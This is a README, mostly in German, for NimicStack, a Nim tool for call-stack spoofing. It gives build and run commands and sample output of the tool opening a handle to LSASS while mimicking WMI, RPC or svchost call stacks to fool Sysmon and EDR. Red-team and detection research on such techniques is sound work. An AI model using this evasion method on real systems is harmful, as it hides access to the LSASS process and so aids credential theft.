
NimicStack is the pure Nim implementation of Call Stack Spoofing technique to mimic legitimate programs
NimicStack ist die reine Nim-Implementierung der Call-Stack-Spoofing-Technik, um legitime Programme nachzuahmen. Das gesamte Projekt basiert auf dem PoC, der von WithSecure Labs bereitgestellt wurde
Sie können den Quellcode direkt mit dem folgenden Befehl kompilieren:
nim c -d=mingw --app=console --cpu=amd64 -o:NimicStack.exe .\Main.nim
Falls Sie die Fehlermeldung „cannot open file" erhalten, sollten Sie auch die erforderlichen Abhängigkeiten installieren:
nimble install ptr_math winim
Wie das Referenzprojekt kann NimicStack beim Öffnen des LSASS-Prozesses drei Beispiel-Call-Stacks nachahmen: WMI, RPC und Svchost.
.\NimicStack.exe <--wmi, --rpc, --svchost>
Beispielausgabe für den nachgeahmten WMI-Call-Stack:
███╗ ██╗██╗███╗ ███╗██╗ ██████╗███████╗████████╗ █████╗ ██████╗██╗ ██╗
████╗ ██║██║████╗ ████║██║██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██╔██╗ ██║██║██╔████╔██║██║██║ ███████╗ ██║ ███████║██║ █████╔╝
██║╚██╗██║██║██║╚██╔╝██║██║██║ ╚════██║ ██║ ██╔══██║██║ ██╔═██╗
██║ ╚████║██║██║ ╚═╝ ██║██║╚██████╗███████║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
@R0h1rr1m
[+] wmi frame is selected!
[+] Required libraries were imported for return address calculation!
[+] SeDebugPrivilege is enabled!
[+] Fake Call Stack was created!
[+] Trying to find LSASS pid...
[+] LSASS pid found!: 756
[+] Registers were set for NtOpenProcess call!
[+] VEH callback was set for the suspended thread!
[+] Thread is resuming...
[+] VEH callback was called!
[+] Redirecting thread to RtlExitUserThread...
[+] Spoof is successful! Handle is 356
[+] You can check the spoofed call stack from Sysmon!
Und die Sysmon-Ausgabe für diesen Aufruf:
Nur für autorisierte Sicherheitstests. Die missbräuchliche Verwendung dieses Tools gegen Systeme ohne ausdrückliche Genehmigung ist illegal.